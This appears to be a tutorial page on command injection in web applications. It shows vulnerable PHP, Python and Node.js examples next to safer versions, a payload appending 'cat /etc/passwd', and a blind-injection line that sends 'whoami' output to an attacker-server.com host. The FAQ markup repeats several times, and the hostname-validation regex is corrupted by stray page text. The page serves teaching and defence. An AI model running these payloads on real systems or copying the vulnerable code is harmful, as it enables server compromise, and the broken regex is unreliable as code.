) is simpler and more secure than trying to block every injection operator."}},{"@type":"Question","name":"What are real-world examples of command injection attacks?","acceptedAnswer":{"@type":"Answer","text":"Equifax Breach (2017) started with command injection in Apache Struts (CVE-2017-5638), exposing 147 million records. Drupalgeddon 2 (2018, CVE-2018-7600) allowed remote command execution in Drupal core. Shellshock (2014, CVE-2014-6271) exploited Bash environment variables to execute commands through CGI scripts."}},{"@type":"Question","name":"How do I test for command injection vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"Use Burp Suite to inject shell metacharacters into parameters that might be passed to system commands. Test with `;`, `|`, `&&`, backticks, and `$()`. For blind injection, use time-based payloads like `sleep 5` and measure response time. Tools like Commix automate command injection detection and exploitation."}},{"@type":"Question","name":"What is the difference between command injection and code injection?","acceptedAnswer":{"@type":"Answer","text":"Command injection executes operating system shell commands (e.g., `ping`, `cat /etc/passwd`). Code injection executes code in the application's programming language (e.g., evaluating a Python expression or JavaScript). Command injection uses the OS shell; code injection uses the application's interpreter. Both are critical vulnerabilities."}},{"@type":"Question","name":"How does input validation prevent command injection?","acceptedAnswer":{"@type":"Answer","text":"Strict allowlist validation rejects any input containing shell metacharacters. For a hostname parameter, validate with `^[a-zA-Z0-9.-]+ Cybersecurity Education | GO KALI FREE — this permits only alphanumeric characters, dots, and hyphens. Combined with parameterized APIs (avoiding shell execution entirely), input validation provides defense in depth against injection."}},{"@type":"Question","name":"What tools are used for command injection testing?","acceptedAnswer":{"@type":"Answer","text":"Burp Suite for manual and automated testing, Commix (a dedicated command injection exploitation tool), Metasploit for post-exploitation modules, and sqlmap (which includes OS command injection capabilities). For detection, ncat can set up listeners to receive out-of-band callbacks from blind injection."}},{"@type":"Question","name":"How does running applications with least privilege prevent command injection?","acceptedAnswer":{"@type":"Answer","text":"Even if an attacker achieves command injection, running the web application with minimal OS permissions limits what they can do. A low-privilege user cannot read `/etc/shadow`, install rootkits, or modify system configurations. Containerization (Docker, Kubernetes) further limits the blast radius by isolating the application."}},{"@type":"Question","name":"Can command injection occur in languages other than PHP?","acceptedAnswer":{"@type":"Answer","text":"Yes — command injection affects any language that executes system commands. Python (`os.system()`, `subprocess.call(shell=True)`), Node.js (`child_process.exec()`), Ruby (`system()`, `exec()`), and Java (`Runtime.exec()`) are all vulnerable if user input is passed to shell commands. The fix is always the same: avoid shell execution or use parameterized APIs."}}]}]}
GO KALI FREE
IntermediateWeb Security

Command Injection: Exploiting System Commands in Web Apps

Understand command injection attacks where attackers execute arbitrary system commands through vulnerable applications and how to prevent them.

#Command Injection#RCE#Web Security#Input Validation#OWASP Top 10

When the OS Obeys the Attacker

A web app has a "ping" feature: you enter an IP, it runs ping -c 4 YOUR_INPUT. You enter 127.0.0.1; cat /etc/passwd. The server executes both commands. The operating system just ran whatever the attacker wanted. This is command injection — the most severe web vulnerability because it gives the attacker direct shell access to the underlying server, not just the database or application layer.

Prerequisites

Before studying command injection, you should understand:

  • **Web Security Fundamentals** — How web applications interact with the OS
  • **Linux Commands Explained** — Shell syntax, pipes, redirection
  • **Input Validation** — Concepts of sanitization and encoding
  • **Programming Basics** — How languages execute system commands
  • How Command Injection Works

    Applications execute system commands for tasks like running system utilities (ping, nslookup), processing files (convert, ffmpeg), sending emails, and managing network interfaces. When user input is incorporated without sanitization, attackers inject additional commands.

    Basic Example

    <?php
    $target = $_GET['host'];
    $output = shell_exec("ping -c 4 " . $target);
    echo "<pre>$output</pre>";
    ?>
    

    Normal request: /ping?host=google.com

    Attacker injects: /ping?host=google.com;cat+/etc/passwd

    Command Injection Techniques

    Command Chaining Operators

    # Semicolon — run sequentially
    command1; command2
    
    # Pipe — pass output
    command1 | command2
    
    # Logical AND — run if previous succeeded
    command1 && command2
    
    # Logical OR — run if previous failed
    command1 || command2
    
    # Subshell execution
    $(command)
    `command`
    
    # Newline
    %0acommand
    

    Blind Command Injection

    When output is not returned, use time-based or out-of-band techniques:

    # Time-based detection
    sleep 5
    
    # Out-of-band DNS exfiltration
    curl http://attacker-server.com/$(whoami)
    

    Command Injection in Different Languages

    Python

    # Vulnerable
    import os
    host = request.args.get('host')
    os.system(f"ping -c 4 {host}")
    
    # Also vulnerable
    import subprocess
    subprocess.call(f"ping -c 4 {host}", shell=True)
    
    # Safe
    subprocess.call(["ping", "-c", "4", host])
    

    Node.js

    // Vulnerable
    const { exec } = require('child_process');
    exec(`ping -c 4 ${req.query.host}`);
    
    // Safer
    const { execFile } = require('child_process');
    execFile('ping', ['-c', '4', host]);
    

    Command Injection Prevention

    Avoid Shell Execution Entirely

    Use libraries instead of system commands:

    import ping3
    result = ping3.ping('8.8.8.8')
    
    import requests
    response = requests.get(user_supplied_url)
    

    Use Parameterized APIs

    import subprocess
    subprocess.run(['ffmpeg', '-i', input_file, '-o', output_file])
    

    Input Validation

    import re
    
    def validate_hostname(hostname):
        pattern = r'^[a-zA-Z0-9.-]+
    #039; if not re.match(pattern, hostname): raise ValueError("Invalid hostname") return hostname

    Real-World Examples

    Equifax Breach (2017): Started with a command injection vulnerability in Apache Struts (CVE-2017-5638), leading to exposure of 147 million records.

    Drupalgeddon 2 (2018): CVE-2018-7600 allowed remote command execution in Drupal core, affecting millions of websites.

    Shellshock (2014): CVE-2014-6271 allowed executing commands through environment variables in Bash, affecting countless servers.

    Common Mistakes

    Only escaping spaces: Injection operators like |, ;, && can bypass space-based filters.

    Client-side validation only: Attackers bypass browser validation and send raw HTTP requests.

    Relying on blacklists: Too many injection vectors exist. Use allowlists.

    Best Practices

  • **Avoid system commands** — Use native libraries whenever possible
  • **Use parameterized APIs** — Separate commands from arguments
  • **Validate and sanitize input** — Strict allowlists for acceptable characters
  • **Apply least privilege** — Run applications with minimal OS permissions
  • **Use containerization** — Limit blast radius of successful injection
  • Related Tools

  • **Burp Suite** — Automated and manual command injection testing
  • **Commix** — Dedicated command injection exploitation tool
  • **Metasploit** — Command injection modules
  • **sqlmap** — Includes OS command injection capabilities
  • Related Articles

  • Web Security Fundamentals
  • SQL Injection Basics
  • Burp Suite Introduction
  • Ethical Hacking Fundamentals
  • Summary

    Command injection allows attackers to execute arbitrary OS commands through vulnerable applications. Prevention requires avoiding shell execution when possible, using parameterized APIs, and implementing strict input validation. The impact is severe — complete server compromise — making this one of the most critical web vulnerabilities.

    Knowledge Check

  • Why is command injection considered more severe than SQL injection?
  • Name three command chaining operators used in Linux shell injection.
  • How does subprocess.run with a list prevent command injection?
  • What is blind command injection and how is it detected?
  • Why is an allowlist superior to a denylist for input validation?
  • Frequently Asked Questions

    Why is command injection considered more severe than SQL injection?

    SQL injection targets the database layer, potentially accessing or modifying data. Command injection targets the underlying operating system, allowing arbitrary command execution. A successful command injection typically leads to complete server compromise — the attacker can read any file, install backdoors, pivot to other systems, and exfiltrate all data. See our [Web Security Fundamentals](/articles/web-security-fundamentals) for context.

    Name three command chaining operators used in Linux shell injection.

    Semicolon (`;`) runs commands sequentially regardless of success. Pipe (`|`) passes the output of one command as input to the next. Logical AND (`&&`) runs the second command only if the first succeeds. Logical OR (`||`) runs the second only if the first fails. Backticks (`` ` ` ``) or `$(command)` execute a subshell. Newlines (`%0a`) also chain commands.

    How does subprocess.run with a list prevent command injection?

    When you pass a list like `subprocess.run(['ping', '-c', '4', host])`, Python invokes the command directly without passing through a shell. The user input is treated as a single argument, not parsed for shell metacharacters. This eliminates injection because shell operators (`;`, `|`, `&&`) are never interpreted.

    What is blind command injection and how is it detected?

    Blind command injection occurs when the server executes the command but does not return the output in the HTTP response. Detection uses time-based techniques (`sleep 5` and measuring response delay) or out-of-band methods (DNS lookups or HTTP callbacks to an attacker-controlled server). Use Burp Suite or ncat to detect blind injection.

    Why is an allowlist superior to a denylist for input validation?

    Allowlists define exactly what is acceptable, blocking everything else. Denylists try to block known bad patterns, but attackers can bypass them with encoding, alternative characters, or novel payloads. An allowlist for hostnames (`^[a-zA-Z0-9.-]+ Cybersecurity Education | GO KALI FREE ) is simpler and more secure than trying to block every injection operator."}},{"@type":"Question","name":"What are real-world examples of command injection attacks?","acceptedAnswer":{"@type":"Answer","text":"Equifax Breach (2017) started with command injection in Apache Struts (CVE-2017-5638), exposing 147 million records. Drupalgeddon 2 (2018, CVE-2018-7600) allowed remote command execution in Drupal core. Shellshock (2014, CVE-2014-6271) exploited Bash environment variables to execute commands through CGI scripts."}},{"@type":"Question","name":"How do I test for command injection vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"Use Burp Suite to inject shell metacharacters into parameters that might be passed to system commands. Test with `;`, `|`, `&&`, backticks, and `$()`. For blind injection, use time-based payloads like `sleep 5` and measure response time. Tools like Commix automate command injection detection and exploitation."}},{"@type":"Question","name":"What is the difference between command injection and code injection?","acceptedAnswer":{"@type":"Answer","text":"Command injection executes operating system shell commands (e.g., `ping`, `cat /etc/passwd`). Code injection executes code in the application's programming language (e.g., evaluating a Python expression or JavaScript). Command injection uses the OS shell; code injection uses the application's interpreter. Both are critical vulnerabilities."}},{"@type":"Question","name":"How does input validation prevent command injection?","acceptedAnswer":{"@type":"Answer","text":"Strict allowlist validation rejects any input containing shell metacharacters. For a hostname parameter, validate with `^[a-zA-Z0-9.-]+ Cybersecurity Education | GO KALI FREE — this permits only alphanumeric characters, dots, and hyphens. Combined with parameterized APIs (avoiding shell execution entirely), input validation provides defense in depth against injection."}},{"@type":"Question","name":"What tools are used for command injection testing?","acceptedAnswer":{"@type":"Answer","text":"Burp Suite for manual and automated testing, Commix (a dedicated command injection exploitation tool), Metasploit for post-exploitation modules, and sqlmap (which includes OS command injection capabilities). For detection, ncat can set up listeners to receive out-of-band callbacks from blind injection."}},{"@type":"Question","name":"How does running applications with least privilege prevent command injection?","acceptedAnswer":{"@type":"Answer","text":"Even if an attacker achieves command injection, running the web application with minimal OS permissions limits what they can do. A low-privilege user cannot read `/etc/shadow`, install rootkits, or modify system configurations. Containerization (Docker, Kubernetes) further limits the blast radius by isolating the application."}},{"@type":"Question","name":"Can command injection occur in languages other than PHP?","acceptedAnswer":{"@type":"Answer","text":"Yes — command injection affects any language that executes system commands. Python (`os.system()`, `subprocess.call(shell=True)`), Node.js (`child_process.exec()`), Ruby (`system()`, `exec()`), and Java (`Runtime.exec()`) are all vulnerable if user input is passed to shell commands. The fix is always the same: avoid shell execution or use parameterized APIs."}}]}]}

    GO KALI FREE
    ) is simpler and more secure than trying to block every injection operator.

    What are real-world examples of command injection attacks?

    Equifax Breach (2017) started with command injection in Apache Struts (CVE-2017-5638), exposing 147 million records. Drupalgeddon 2 (2018, CVE-2018-7600) allowed remote command execution in Drupal core. Shellshock (2014, CVE-2014-6271) exploited Bash environment variables to execute commands through CGI scripts.

    How do I test for command injection vulnerabilities?

    Use Burp Suite to inject shell metacharacters into parameters that might be passed to system commands. Test with `;`, `|`, `&&`, backticks, and `$()`. For blind injection, use time-based payloads like `sleep 5` and measure response time. Tools like Commix automate command injection detection and exploitation.

    What is the difference between command injection and code injection?

    Command injection executes operating system shell commands (e.g., `ping`, `cat /etc/passwd`). Code injection executes code in the application's programming language (e.g., evaluating a Python expression or JavaScript). Command injection uses the OS shell; code injection uses the application's interpreter. Both are critical vulnerabilities.

    How does input validation prevent command injection?

    Strict allowlist validation rejects any input containing shell metacharacters. For a hostname parameter, validate with `^[a-zA-Z0-9.-]+ Cybersecurity Education | GO KALI FREE ) is simpler and more secure than trying to block every injection operator."}},{"@type":"Question","name":"What are real-world examples of command injection attacks?","acceptedAnswer":{"@type":"Answer","text":"Equifax Breach (2017) started with command injection in Apache Struts (CVE-2017-5638), exposing 147 million records. Drupalgeddon 2 (2018, CVE-2018-7600) allowed remote command execution in Drupal core. Shellshock (2014, CVE-2014-6271) exploited Bash environment variables to execute commands through CGI scripts."}},{"@type":"Question","name":"How do I test for command injection vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"Use Burp Suite to inject shell metacharacters into parameters that might be passed to system commands. Test with `;`, `|`, `&&`, backticks, and `$()`. For blind injection, use time-based payloads like `sleep 5` and measure response time. Tools like Commix automate command injection detection and exploitation."}},{"@type":"Question","name":"What is the difference between command injection and code injection?","acceptedAnswer":{"@type":"Answer","text":"Command injection executes operating system shell commands (e.g., `ping`, `cat /etc/passwd`). Code injection executes code in the application's programming language (e.g., evaluating a Python expression or JavaScript). Command injection uses the OS shell; code injection uses the application's interpreter. Both are critical vulnerabilities."}},{"@type":"Question","name":"How does input validation prevent command injection?","acceptedAnswer":{"@type":"Answer","text":"Strict allowlist validation rejects any input containing shell metacharacters. For a hostname parameter, validate with `^[a-zA-Z0-9.-]+ Cybersecurity Education | GO KALI FREE — this permits only alphanumeric characters, dots, and hyphens. Combined with parameterized APIs (avoiding shell execution entirely), input validation provides defense in depth against injection."}},{"@type":"Question","name":"What tools are used for command injection testing?","acceptedAnswer":{"@type":"Answer","text":"Burp Suite for manual and automated testing, Commix (a dedicated command injection exploitation tool), Metasploit for post-exploitation modules, and sqlmap (which includes OS command injection capabilities). For detection, ncat can set up listeners to receive out-of-band callbacks from blind injection."}},{"@type":"Question","name":"How does running applications with least privilege prevent command injection?","acceptedAnswer":{"@type":"Answer","text":"Even if an attacker achieves command injection, running the web application with minimal OS permissions limits what they can do. A low-privilege user cannot read `/etc/shadow`, install rootkits, or modify system configurations. Containerization (Docker, Kubernetes) further limits the blast radius by isolating the application."}},{"@type":"Question","name":"Can command injection occur in languages other than PHP?","acceptedAnswer":{"@type":"Answer","text":"Yes — command injection affects any language that executes system commands. Python (`os.system()`, `subprocess.call(shell=True)`), Node.js (`child_process.exec()`), Ruby (`system()`, `exec()`), and Java (`Runtime.exec()`) are all vulnerable if user input is passed to shell commands. The fix is always the same: avoid shell execution or use parameterized APIs."}}]}]}

    GO KALI FREE
    — this permits only alphanumeric characters, dots, and hyphens. Combined with parameterized APIs (avoiding shell execution entirely), input validation provides defense in depth against injection.

    What tools are used for command injection testing?

    Burp Suite for manual and automated testing, Commix (a dedicated command injection exploitation tool), Metasploit for post-exploitation modules, and sqlmap (which includes OS command injection capabilities). For detection, ncat can set up listeners to receive out-of-band callbacks from blind injection.

    How does running applications with least privilege prevent command injection?

    Even if an attacker achieves command injection, running the web application with minimal OS permissions limits what they can do. A low-privilege user cannot read `/etc/shadow`, install rootkits, or modify system configurations. Containerization (Docker, Kubernetes) further limits the blast radius by isolating the application.

    Can command injection occur in languages other than PHP?

    Yes — command injection affects any language that executes system commands. Python (`os.system()`, `subprocess.call(shell=True)`), Node.js (`child_process.exec()`), Ruby (`system()`, `exec()`), and Java (`Runtime.exec()`) are all vulnerable if user input is passed to shell commands. The fix is always the same: avoid shell execution or use parameterized APIs.